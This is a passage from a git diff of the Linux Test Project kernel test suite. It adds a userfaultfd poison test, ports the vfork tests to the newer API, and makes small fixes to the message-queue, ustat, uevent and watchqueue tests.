observed"); +} + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .min_kver = "5.7", + .needs_kconfigs = (const char *[]) { + "CONFIG_HAVE_ARCH_USERFAULTFD_WP=y", + NULL + }, + .cleanup = reset_pages, +}; diff --git a/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd06.c b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd06.c new file mode 100644 index 00000000..1ab288e6 --- /dev/null +++ b/ltp/testcases/kernel/syscalls/userfaultfd/userfaultfd06.c @@ -0,0 +1,146 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2026 SUSE LLC + * Author: Ricardo Branco <rbranco@suse.com> + */ + +/*\ + * Force a pagefault event and handle it using :manpage:`userfaultfd(2)` + * from a different thread testing UFFDIO_POISON. + */ + +#include "config.h" +#include <poll.h> +#include <setjmp.h> +#include <signal.h> +#include <unistd.h> +#include "tst_test.h" +#include "tst_safe_macros.h" +#include "tst_safe_pthread.h" +#include "lapi/userfaultfd.h" + +static long page_size; +static char *page; +static int uffd = -1; +static int poison_fault_seen; +static volatile int sigbus_seen; +static sigjmp_buf jmpbuf; + +static void sigbus_handler(int sig) +{ + if (sig == SIGBUS) { + sigbus_seen = 1; + siglongjmp(jmpbuf, 1); + } +} + +static void setup(void) +{ + struct sigaction sa = {}; + + CHECK_UFFD_FEATURE(UFFD_FEATURE_POISON); + + sa.sa_handler = sigbus_handler; + sigemptyset(&sa.sa_mask); + SAFE_SIGACTION(SIGBUS, &sa, NULL); +} + +static void set_pages(void) +{ + page_size = SAFE_SYSCONF(_SC_PAGE_SIZE); + page = SAFE_MMAP(NULL, page_size, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); +} + +static void reset_pages(void) +{ + if (page) { + SAFE_MUNMAP(page, page_size); + page = NULL; + } + if (uffd != -1) + SAFE_CLOSE(uffd); +} + +static void *handle_thread(void *arg LTP_ATTRIBUTE_UNUSED) +{ + static struct uffd_msg msg; + struct uffdio_poison uffdio_poison = {}; + struct pollfd pollfd; + int nready; + + pollfd.fd = uffd; + pollfd.events = POLLIN; + nready = poll(&pollfd, 1, -1); + if (nready == -1) + tst_brk(TBROK | TERRNO, "Error on poll"); + + SAFE_READ(1, uffd, &msg, sizeof(msg)); + + if (msg.event != UFFD_EVENT_PAGEFAULT) + tst_brk(TFAIL, "Received unexpected UFFD_EVENT %d", msg.event); + + tst_atomic_store(1, &poison_fault_seen); + + /* Poison the page that triggered the fault */ + uffdio_poison.range.start = msg.arg.pagefault.address & ~((unsigned long)page_size - 1); + uffdio_poison.range.len = page_size; + + SAFE_IOCTL(uffd, UFFDIO_POISON, &uffdio_poison); + + SAFE_CLOSE(uffd); + return NULL; +} + +static void run(void) +{ + pthread_t thr; + struct uffdio_api uffdio_api = {}; + struct uffdio_register uffdio_register; + char dummy; + + poison_fault_seen = 0; + sigbus_seen = 0; + + set_pages(); + + uffd = SAFE_USERFAULTFD(O_CLOEXEC | O_NONBLOCK, false); + + uffdio_api.api = UFFD_API; + uffdio_api.features = UFFD_FEATURE_POISON; + + SAFE_IOCTL(uffd, UFFDIO_API, &uffdio_api); + + uffdio_register.range.start = (unsigned long) page; + uffdio_register.range.len = page_size; + uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; + + SAFE_IOCTL(uffd, UFFDIO_REGISTER, &uffdio_register); + + SAFE_PTHREAD_CREATE(&thr, NULL, (void *) handle_thread, NULL); + + /* Try to read from the page: should trigger fault, get poisoned, then SIGBUS */ + if (sigsetjmp(jmpbuf, 1) == 0) { + LTP_VAR_USED(dummy) = page[0]; + } + + SAFE_PTHREAD_JOIN(thr, NULL); + reset_pages(); + + int poisoned = tst_atomic_load(&poison_fault_seen); + + if (poisoned && sigbus_seen) + tst_res(TPASS, "POISON successfully triggered SIGBUS"); + else if (poisoned && !sigbus_seen) + tst_res(TFAIL, "POISON fault seen but no SIGBUS received"); + else if (!poisoned && sigbus_seen) + tst_res(TFAIL, "SIGBUS received but no poison fault seen"); + else + tst_res(TFAIL, "No poison fault or SIGBUS observed"); +} + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = reset_pages, +}; diff --git a/ltp/testcases/kernel/syscalls/ustat/ustat01.c b/ltp/testcases/kernel/syscalls/ustat/ustat01.c index 16100605..55095191 100644 --- a/ltp/testcases/kernel/syscalls/ustat/ustat01.c +++ b/ltp/testcases/kernel/syscalls/ustat/ustat01.c @@ -44,6 +44,10 @@ static void setup(void) static struct tst_test test = { .test_all = run, .setup = setup, + .skip_filesystems = (const char *const[]) { + "btrfs", + NULL + }, .tags = (const struct tst_tag[]) { {"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see " "https://lore.kernel.org/linux-btrfs/e7e867b8-b57a-7eb2-2432-1627bd3a88fb@toxicpanda.com/" diff --git a/ltp/testcases/kernel/syscalls/ustat/ustat02.c b/ltp/testcases/kernel/syscalls/ustat/ustat02.c index 84becaa1..82dcfb6b 100644 --- a/ltp/testcases/kernel/syscalls/ustat/ustat02.c +++ b/ltp/testcases/kernel/syscalls/ustat/ustat02.c @@ -61,6 +61,10 @@ static struct tst_test test = { .test = run, .setup = setup, .tcnt = ARRAY_SIZE(tc), + .skip_filesystems = (const char *const[]) { + "btrfs", + NULL + }, .tags = (const struct tst_tag[]) { {"known-fail", "ustat() is known to fail with EINVAL on Btrfs, see " "https://lore.kernel.org/linux-btrfs/e7e867b8-b57a-7eb2-2432-1627bd3a88fb@toxicpanda.com/" diff --git a/ltp/testcases/kernel/syscalls/utils/mq.h b/ltp/testcases/kernel/syscalls/utils/mq.h index da45d2da..eb66328d 100644 --- a/ltp/testcases/kernel/syscalls/utils/mq.h +++ b/ltp/testcases/kernel/syscalls/utils/mq.h @@ -12,9 +12,9 @@ #define MAX_MSGSIZE 8192 #define MSG_LENGTH 10 -#define QUEUE_NAME "/test_mqueue" -#define QUEUE_NAME_NONBLOCK "/test_mqueue_nonblock" +static char queue_name[64]; +static char queue_name_nonblock[64]; static char smsg[MAX_MSGSIZE]; static struct sigaction act; @@ -29,8 +29,8 @@ static void cleanup_common(void) if (fd_nonblock > 0) SAFE_CLOSE(fd_nonblock); - mq_unlink(QUEUE_NAME); - mq_unlink(QUEUE_NAME_NONBLOCK); + mq_unlink(queue_name); + mq_unlink(queue_name_nonblock); } static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) { } @@ -39,14 +39,17 @@ static void setup_common(void) { int i; + snprintf(queue_name, sizeof(queue_name), "/test_mqueue_%d", getpid()); + snprintf(queue_name_nonblock, sizeof(queue_name_nonblock), "/test_mqueue_nonblock_%d", getpid()); + act.sa_handler = sighandler; sigaction(SIGINT, &act, NULL); cleanup_common(); fd_root = SAFE_OPEN("/", O_RDONLY); - fd = SAFE_MQ_OPEN(QUEUE_NAME, O_CREAT | O_EXCL | O_RDWR, 0700, NULL); - fd_nonblock = SAFE_MQ_OPEN(QUEUE_NAME_NONBLOCK, O_CREAT | O_EXCL | O_RDWR | + fd = SAFE_MQ_OPEN(queue_name, O_CREAT | O_EXCL | O_RDWR, 0700, NULL); + fd_nonblock = SAFE_MQ_OPEN(queue_name_nonblock, O_CREAT | O_EXCL | O_RDWR | O_NONBLOCK, 0700, NULL); for (i = 0; i < MAX_MSGSIZE; i++) diff --git a/ltp/testcases/kernel/syscalls/vfork/vfork01.c b/ltp/testcases/kernel/syscalls/vfork/vfork01.c index b050776b..81408fc4 100644 --- a/ltp/testcases/kernel/syscalls/vfork/vfork01.c +++ b/ltp/testcases/kernel/syscalls/vfork/vfork01.c @@ -1,352 +1,74 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> */ -/* - * Name: vfork01 - * - * Test Description: - * Fork a process using vfork() and verify that, the attribute values like - * euid, ruid, suid, egid, rgid, sgid, umask, inode and device number of - * root and current working directories are same as that of the parent - * process. - * $ - * Expected Result: - * The attribute values like euid, ruid, suid, egid, rgid, sgid, umask, inode - * and device number of root and current working directory of the parent and - * child processes should be equal. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * - * Usage: <for command-line> - * vfork01 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions: - * None. - * +/*\ + * Fork a process using `vfork()` and verify that the attribute values like + * euid, ruid, suid, egid, rgid, sgid, umask, inode and device number of + * root and current working directories are the same of the parent + * process ones. */ -#define _GNU_SOURCE 1 -#include <stdio.h> -#include <sys/types.h> -#include <errno.h> -#include <unistd.h> -#include <fcntl.h> -#include <string.h> -#include <signal.h> -#include <unistd.h> -#include <sys/stat.h> -#include <sys/wait.h> - -#include "test.h" - -char *TCID = "vfork01"; -int TST_TOTAL = 1; - -/* Variables to hold parent/child eff/real/saved uid/gid values */ -uid_t Peuid, Ceuid, Csuid, Psuid, Pruid, Cruid; -gid_t Pegid, Cegid, Psgid, Csgid, Prgid, Crgid; -mode_t Pumask, Cumask; +#include "tst_test.h" +#include "tst_uid.h" -char *Pcwd, *Ccwd; /* - * pathname of working directory of - * child/parent process. - */ -/* stat structure to hold directory/inode information for parent/child */ -struct stat StatPbuf; -struct stat StatCbuf; -struct stat Stat_cwd_Pbuf; -struct stat Stat_cwd_Cbuf; - -void setup(); /* Main setup function of test */ -void cleanup(); /* cleanup function for the test */ - -int main(int ac, char **av) +static void run(void) { - int lc; - pid_t cpid; /* process id of the child process */ - int exit_status; /* exit status of child process */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call vfork(2) to create a child process without - * fully copying the address space of parent. - */ - TEST(vfork()); - - if ((cpid = TEST_RETURN) == -1) { - tst_resm(TFAIL, "vfork() Failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else if (cpid == 0) { /* Child process */ - /* - * Get the euid, ruid, egid, rgid, umask value - * and the current working directory of the - * child process - */ - if (getresuid(&Cruid, &Ceuid, &Csuid) < 0) { - tst_resm(TFAIL, "getresuid() fails to " - "get real/eff./saved uid of " - "child process"); - _exit(1); - } - - if (getresgid(&Crgid, &Cegid, &Csgid) < 0) { - tst_resm(TFAIL, "getresgid() fails to " - "get real/eff./saved gid of " - "child process"); - _exit(1); - } - - /* - * Get the file mode creation mask value of - * child process by setting value zero and - * restore the previous mask value. - */ - Cumask = umask(0); - - /* - * Restore the process mask of child to - * previous value. - */ - umask(Cumask); - - /* - * Get the pathname of current working - * directory for the child process. - */ - if ((Ccwd = (char *)getcwd(NULL, - BUFSIZ)) == NULL) { - tst_resm(TFAIL, "getcwd failed for the " - "child process"); - _exit(1); - } + char *p_cwd, *c_cwd; + mode_t p_mask, c_mask; + static uid_t p_ruid, p_euid, p_suid; + static gid_t p_rgid, p_egid, p_sgid; + struct stat p_cwd_stat, c_cwd_stat; + struct stat p_root_stat, c_root_stat; - /* - * Get the device number and the inode - * number of "/" directory for the child - * process. - */ - if (stat("/", &StatCbuf) < 0) { - tst_resm(TFAIL, "stat(2) failed to get " - "info. of'/' in the child " - "process"); - _exit(1); - } + p_mask = umask(0); + umask(p_mask); - /* - * Get the device/inode number of "." - * (working directory) for the child process. - */ - if (stat(Ccwd, &Stat_cwd_Cbuf) < 0) { - tst_resm(TFAIL, "stat(2) failed to get " - "info. of working irectory in " - "the child"); - _exit(1); - } + p_cwd = getcwd(NULL, BUFSIZ); - /* Now, do the actual comparision */ - if (Peuid != Ceuid || Pegid != Cegid || - Psuid != Csuid || Psgid != Csgid || - Pruid != Cruid || Prgid != Crgid || - Pumask != Cumask) { - tst_resm(TFAIL, "Attribute values of " - "parent and child don't match"); - _exit(1); - } else { - tst_resm(TINFO, "Attribute values of " - "parent and child match"); - } + SAFE_GETRESUID(&p_ruid, &p_euid, &p_suid); + SAFE_GETRESGID(&p_rgid, &p_egid, &p_sgid); - /* Check for the same working directories */ - if (strcmp(Pcwd, Ccwd) != 0) { - tst_resm(TFAIL, "Working directories " - "of parent and child don't " - "match"); - _exit(1); - } else { - tst_resm(TINFO, "Working directories " - "of parent and child match"); - } + SAFE_STAT(p_cwd, &p_cwd_stat); + SAFE_STAT("/", &p_root_stat); - /* - * Check for the same device/inode number of - * '/' directory. - */ - if ((StatPbuf.st_ino != StatCbuf.st_ino) || - (StatPbuf.st_dev != StatCbuf.st_dev)) { - tst_resm(TFAIL, "Device/inode number " - "of parent and childs '/' " - " don't match"); - _exit(1); - } else { - tst_resm(TINFO, "Device/inode number " - "of parent and childs '/' " - "match"); - } + if (!vfork()) { + c_mask = umask(0); + umask(c_mask); - /* - * Check for the same device and inode number - * of "." (current working directory. - */ - if ((Stat_cwd_Pbuf.st_ino != - Stat_cwd_Cbuf.st_ino) || - (Stat_cwd_Pbuf.st_dev != - Stat_cwd_Cbuf.st_dev)) { - tst_resm(TFAIL, "Device/inode number " - "of parent and childs '.' " - "don't match"); - _exit(1); - } else { - tst_resm(TINFO, "Device/inode number " - "of parent and childs '.' " - "don't match"); - } + TST_EXP_EQ_LI(p_mask, c_mask); - /* - * Exit with normal exit code if everything - * fine - */ - _exit(0); + c_cwd = getcwd(NULL, BUFSIZ); + SAFE_STAT(c_cwd, &c_cwd_stat); - } else { /* parent process */ - /* - * Let the parent process wait till child completes - * its execution. - */ - wait(&exit_status); + TST_EXP_EQ_STR(p_cwd, c_cwd); + free(c_cwd); - /* Check for the exit status of child process */ - if (WEXITSTATUS(exit_status) == 0) { - tst_resm(TPASS, "Call of vfork() successful"); - } else if (WEXITSTATUS(exit_status) == 1) { - tst_resm(TFAIL, - "Child process exited abnormally"); - } - } - tst_count++; /* incr. TEST_LOOP counter */ - } - - cleanup(); - tst_exit(); -} - -/* - * void - * setup() - performs all ONE TIME setup for this test. - * This function gets real/effective/saved uid/gid, umask, the device/inode - * number of '/' and current working directory for the parent process. - */ -void setup(void) -{ + TST_EXP_EQ_LI(p_cwd_stat.st_ino, c_cwd_stat.st_ino); + TST_EXP_EQ_LI(p_cwd_stat.st_dev, c_cwd_stat.st_dev); - tst_sig(FORK, DEF_HANDLER, cleanup); + SAFE_STAT("/", &c_root_stat); - TEST_PAUSE; + TST_EXP_EQ_LI(p_root_stat.st_ino, c_root_stat.st_ino); + TST_EXP_EQ_LI(p_root_stat.st_dev, c_root_stat.st_dev); - /* - * Get the euid, ruid, egid, rgid, umask value - * and the current working directory of the parent process. - */ - if (getresuid(&Pruid, &Peuid, &Psuid) < 0) { - tst_brkm(TFAIL, cleanup, "getresuid() fails to get " - "real/eff./saved uid of parent"); - } + if (tst_check_resuid("resuid()", p_ruid, p_euid, p_suid)) + tst_res(TPASS, "Parent and child UID are matching"); - if (getresgid(&Prgid, &Pegid, &Psgid) < 0) { - tst_brkm(TFAIL, cleanup, "getresgid() fails to get " - "real/eff./saved gid of parent"); - } + if (tst_check_resgid("resgid()", p_rgid, p_egid, p_sgid)) + tst_res(TPASS, "Parent and child GID are matching"); - /* Get the process file mode creation mask by setting value 0 */ - Pumask = umask(0); - umask(Pumask); /* - * Restore the mask value of the - * process. - */ - /* - * Get the pathname of current working directory of the parent - * process. - */ - if ((Pcwd = (char *)getcwd(NULL, BUFSIZ)) == NULL) { - tst_brkm(TFAIL, cleanup, - "getcwd failed for the parent process"); + _exit(0); } - /* - * Get the device and inode number of root directory for the - * parent process. - */ - if (stat("/", &StatPbuf) == -1) { - tst_brkm(TFAIL, cleanup, "stat(2) failed to get info. of '/' " - "in parent process"); - } + tst_reap_children(); - /* - * Get the device number and the inode number of "." (current- - * working directory) for the parent process. - */ - if (stat(Pcwd, &Stat_cwd_Pbuf) < 0) { - tst_brkm(TFAIL, cleanup, "stat(2) failed to get info. of " - "working directory in parent process"); - } + free(p_cwd); } -/* - * void - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .test_all = run, + .forks_child = 1, +}; diff --git a/ltp/testcases/kernel/syscalls/vfork/vfork02.c b/ltp/testcases/kernel/syscalls/vfork/vfork02.c index efa70d0b..26d5f1bb 100644 --- a/ltp/testcases/kernel/syscalls/vfork/vfork02.c +++ b/ltp/testcases/kernel/syscalls/vfork/vfork02.c @@ -1,229 +1,77 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com> */ -/* - * Test Name: vfork02 - * - * Test Description: +/*\ * Fork a process using vfork() and verify that, the pending signals in * the parent are not pending in the child process. - * $ - * Expected Result: - * The signal which is pending in the parent should not be pending in the - * child process. - * - * Algorithm: - * Setup: - * Setup signal handling. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * Execute system call - * Check return code, if system call failed (return=-1) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the Functionality of system call - * if successful, - * Issue Functionality-Pass message. - * Otherwise, - * Issue Functionality-Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * - * Usage: <for command-line> - * vfork02 [-c n] [-e] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions: - * None. - * */ -#define _GNU_SOURCE 1 -#include <stdio.h> -#include <sys/types.h> -#include <errno.h> -#include <unistd.h> -#include <fcntl.h> -#include <string.h> -#include <signal.h> -#include <sys/stat.h> -#include <sys/wait.h> +#include "tst_test.h" -#include "test.h" -#include "safe_macros.h" +static sigset_t mask; -char *TCID = "vfork02"; -int TST_TOTAL = 1; +static void run(void) +{ + if (!vfork()) { + sigset_t signal; -void setup(); /* Main setup function of test */ -void cleanup(); /* cleanup function for the test */ -void sig_handler(); /* signal catching function */ + tst_res(TINFO, "child: verify if SIGUSR1 signal is not on hold"); -int main(int ac, char **av) -{ - int lc; - pid_t cpid; /* process id of the child process */ - int exit_status; /* exit status of child process */ - sigset_t PendSig; /* variable to hold pending signal */ - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * Call vfork(2) to create a child process without - * fully copying the address space of parent. - */ - TEST(vfork()); - - if ((cpid = TEST_RETURN) == -1) { - tst_resm(TFAIL, "vfork() Failed, errno=%d : %s", - TEST_ERRNO, strerror(TEST_ERRNO)); - } else if (cpid == 0) { /* Child process */ - /* - * Check whether the pending signal SIGUSR1 - * in the parent is also pending in the child - * process by storing it in a variable. - */ - if (sigpending(&PendSig) == -1) { - tst_resm(TFAIL, "sigpending function " - "failed in child"); - _exit(1); - } - - /* Check if SIGUSR1 is pending in child */ - if (sigismember(&PendSig, SIGUSR1) != 0) { - tst_resm(TFAIL, "SIGUSR1 also pending " - "in child process"); - _exit(1); - } - - /* - * Exit with normal exit code if everything - * fine - */ - _exit(0); - } else { /* parent process */ - /* - * Let the parent process wait till child completes - * its execution. - */ - wait(&exit_status); - - /* Check for the exit status of child process */ - if (WEXITSTATUS(exit_status) == 0) { - tst_resm(TPASS, "Call to vfork() " - "successful"); - } else if (WEXITSTATUS(exit_status) == 1) { - tst_resm(TFAIL, - "Child process exited abnormally"); - } - } - tst_count++; /* incr. TEST_LOOP counter */ - } + if (sigpending(&signal) == -1) + tst_brk(TBROK | TERRNO, "sigpending() error"); - cleanup(); - tst_exit(); + TST_EXP_EQ_LI(sigismember(&signal, SIGUSR1), 0); + _exit(0); + } } -/* - * void - * setup() - performs all ONE TIME setup for this test. - * This function installs signal handler for SIGUSR1, puts signal SIGUSR1 - * on hold and then sends the signal SIGUSR1 to itself so that it is in - * pending state. - */ -void setup(void) +static void sig_handler(LTP_ATTRIBUTE_UNUSED int signo) { - sigset_t PendSig; /* variable to hold pending signal */ +} - tst_sig(FORK, DEF_HANDLER, cleanup); +static void setup(void) +{ + struct sigaction action; + sigset_t signal; - TEST_PAUSE; + tst_res(TINFO, "parent: hold SIGUSR1 signal"); - /* Install the signal handler */ - if (signal(SIGUSR1, sig_handler) == SIG_ERR) { - tst_brkm(TBROK, cleanup, "Fails to catch the signal SIGUSR1"); - } + memset(&action, 0, sizeof(action)); + action.sa_handler = sig_handler; + SAFE_SIGACTION(SIGUSR1, &action, NULL); - /* Hold the signal SIGUSR1 */ - if (sighold(SIGUSR1) == -1) { - tst_brkm(TBROK, cleanup, - "sighold failed to hold the signal SIGUSR1"); - } + SAFE_SIGEMPTYSET(&mask); + SAFE_SIGADDSET(&mask, SIGUSR1); + SAFE_SIGPROCMASK(SIG_BLOCK, &mask, NULL); - /* Send the signal SIGUSR1 to itself so that SIGUSR1 is pending */ - SAFE_KILL(cleanup, getpid(), SIGUSR1); + SAFE_KILL(getpid(), SIGUSR1); - /* If SIGUSR1 is not pending in the parent, fail */ - if (sigpending(&PendSig) == -1) { - tst_brkm(TBROK, cleanup, - "sigpending function failed in parent"); - } + if (sigpending(&signal) == -1) + tst_brk(TBROK | TERRNO, "sigpending() error"); + + TEST(sigismember(&signal, SIGUSR1)); + if (TST_RET != 1) { + if (TST_RET == -1) + tst_brk(TBROK | TERRNO, "sigismember() error"); - /* Check if SIGUSR1 is pending in parent */ - if (sigismember(&PendSig, SIGUSR1) != 1) { - tst_brkm(TBROK, cleanup, - "SIGUSR1 signal is not pending in parent"); + tst_brk(TBROK, "SIGUSR1 is not on hold"); } } -/* - * void - * sig_handler() - signal catching function for 'SIGUSR1' signal. - * $ - * This is a null function and used only to catch the above signal - * generated in parent process. - */ -void sig_handler(void) +static void cleanup(void) { + SAFE_SIGEMPTYSET(&mask); + SAFE_SIGADDSET(&mask, SIGUSR1); + SAFE_SIGPROCMASK(SIG_UNBLOCK, &mask, NULL); } -/* - * void - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - * Release the signal 'SIGUSR1' if still in pending state. - */ -void cleanup(void) -{ - - /* Release the signal 'SIGUSR1' if in pending state */ - if (sigrelse(SIGUSR1) == -1) { - tst_brkm(TBROK, NULL, "Failed to release 'SIGUSR1' in cleanup"); - } - -} +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .forks_child = 1, +}; diff --git a/ltp/testcases/kernel/syscalls/vmsplice/vmsplice01.c b/ltp/testcases/kernel/syscalls/vmsplice/vmsplice01.c index 17486179..64eed839 100644 --- a/ltp/testcases/kernel/syscalls/vmsplice/vmsplice01.c +++ b/ltp/testcases/kernel/syscalls/vmsplice/vmsplice01.c @@ -50,7 +50,6 @@ static void vmsplice_test(void) { int pipes[2]; long written; - int ret; int fd_out; struct iovec v; loff_t offset; @@ -85,9 +84,7 @@ static void vmsplice_test(void) } } - ret = splice(pipes[0], NULL, fd_out, &offset, written, 0); - if (ret < 0) - tst_brk(TBROK | TERRNO, "splice() failed"); + SAFE_SPLICE(pipes[0], NULL, fd_out, &offset, written, 0); //printf("offset = %lld\n", (long long)offset); } diff --git a/ltp/testcases/kernel/uevents/uevent01.c b/ltp/testcases/kernel/uevents/uevent01.c index 09ef4241..f5fe099d 100644 --- a/ltp/testcases/kernel/uevents/uevent01.c +++ b/ltp/testcases/kernel/uevents/uevent01.c @@ -90,8 +90,8 @@ static struct tst_test test = { .test_all = verify_uevent, .forks_child = 1, .needs_checkpoints = 1, - .needs_drivers = (const char *const []) { - "loop", + .needs_kconfigs = (const char *const []) { + "CONFIG_BLK_DEV_LOOP", NULL }, .needs_root = 1 diff --git a/ltp/testcases/kernel/uevents/uevent02.c b/ltp/testcases/kernel/uevents/uevent02.c index abae4f88..1135f55a 100644 --- a/ltp/testcases/kernel/uevents/uevent02.c +++ b/ltp/testcases/kernel/uevents/uevent02.c @@ -148,8 +148,8 @@ static struct tst_test test = { .test_all = verify_uevent, .forks_child = 1, .needs_checkpoints = 1, - .needs_drivers = (const char *const []) { - "tun", + .needs_kconfigs = (const char *const []) { + "CONFIG_TUN", NULL }, .needs_root = 1 diff --git a/ltp/testcases/kernel/uevents/uevent03.c b/ltp/testcases/kernel/uevents/uevent03.c index 126c924f..42d629a4 100644 --- a/ltp/testcases/kernel/uevents/uevent03.c +++ b/ltp/testcases/kernel/uevents/uevent03.c @@ -18,7 +18,7 @@ #include <sys/sysmacros.h> #include <linux/uinput.h> #include "tst_test.h" -#include "tst_uinput.h" +#include "tse_uinput.h" #include "uevent.h" static int mouse_fd; @@ -239,8 +239,8 @@ static struct tst_test test = { .test_all = verify_uevent, .forks_child = 1, .needs_checkpoints = 1, - .needs_drivers = (const char *const[]) { - "uinput", + .needs_kconfigs = (const char *const[]) { + "CONFIG_INPUT_UINPUT", NULL }, .needs_root = 1, diff --git a/ltp/testcases/kernel/watchqueue/common.h b/ltp/testcases/kernel/watchqueue/common.h index 92e8f079..0921dce9 100644 --- a/ltp/testcases/kernel/watchqueue/common.h +++ b/ltp/testcases/kernel/watchqueue/common.h @@ -85,8 +85,8 @@ static inline key_serial_t wqueue_add_key(int fd) if (key == -1) tst_brk(TBROK, "add_key error: %s", tst_strerrno(errno)); - keyctl(KEYCTL_WATCH_KEY, key, fd, 0x01); - keyctl(KEYCTL_WATCH_KEY, KEY_SPEC_SESSION_KEYRING, fd, 0x02); + SAFE_KEYCTL(KEYCTL_WATCH_KEY, key, fd, 0x01, 0); + SAFE_KEYCTL(KEYCTL_WATCH_KEY, KEY_SPEC_SESSION_KEYRING, fd, 0x02, 0); return key; } diff --git a/ltp/testcases/lib/.gitignore b/ltp/testcases/lib/.gitignore index 385f3c3c..c379cd5a 100644 --- a/ltp/testcases/lib/.gitignore +++ b/ltp/testcases/lib/.gitignore @@ -25,3 +25,5 @@ /tst_timeout_kill /tst_res_ /tst_run_shell +/tst_remaining_runtime +/tst_runas diff --git a/ltp/testcases/lib/Makefile b/ltp/testcases/lib/Makefile index b3a9181c..e2461924 100644 --- a/ltp/testcases/lib/Makefile +++ b/ltp/testcases/lib/Makefile @@ -17,6 +17,6 @@ MAKE_TARGETS := tst_sleep tst_random tst_checkpoint tst_rod tst_kvcmp\ tst_get_median tst_hexdump tst_get_free_pids tst_timeout_kill\ tst_check_kconfigs tst_cgctl tst_fsfreeze tst_ns_create tst_ns_exec\ tst_ns_ifmove tst_lockdown_enabled tst_secureboot_enabled tst_res_\ - tst_run_shell + tst_run_shell tst_remaining_runtime tst_runas include $(top_srcdir)/include/mk/generic_trunk_target.mk diff --git a/ltp/testcases/lib/run_tests.sh b/ltp/testcases/lib/run_tests.sh index 5c309bbe..24ac81a4 100755 --- a/ltp/testcases/lib/run_tests.sh +++ b/ltp/testcases/lib/run_tests.sh @@ -6,6 +6,7 @@ shell_loader.sh shell_loader_all_filesystems.sh shell_loader_c_child.sh shell_loader_filesystems.sh +shell_loader_cmd.sh shell_loader_kconfigs.sh shell_loader_supported_archs.sh shell_loader_tcnt.sh diff --git a/ltp/testcases/lib/tests/shell_loader_cmd.sh b/ltp/testcases/lib/tests/shell_loader_cmd.sh new file mode 100755 index 00000000..1fba2a19 --- /dev/null +++ b/ltp/testcases/lib/tests/shell_loader_cmd.sh @@ -0,0 +1,28 @@ +#!/bin/sh +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) 2025 Wei Gao <wegao@suse.cz> +# +# --- +# env +# { +# "needs_cmds": [ +# { +# "cmd": "ls", +# "optional": true +# }, +# { +# "cmd": "mkfs.ext4 >= 1.0.0", +# "optional": true +# } +# ] +# } +# --- + +. tst_loader.sh + +tst_test() +{ + tst_res TPASS "We are running with needs_cmds" +} + +. tst_run.sh diff --git a/ltp/testcases/lib/tests/shell_loader_filesystems.sh b/ltp/testcases/lib/tests/shell_loader_filesystems.sh index d584503a..227f0635 100755 --- a/ltp/testcases/lib/tests/shell_loader_filesystems.sh +++ b/ltp/testcases/lib/tests/shell_loader_filesystems.sh @@ 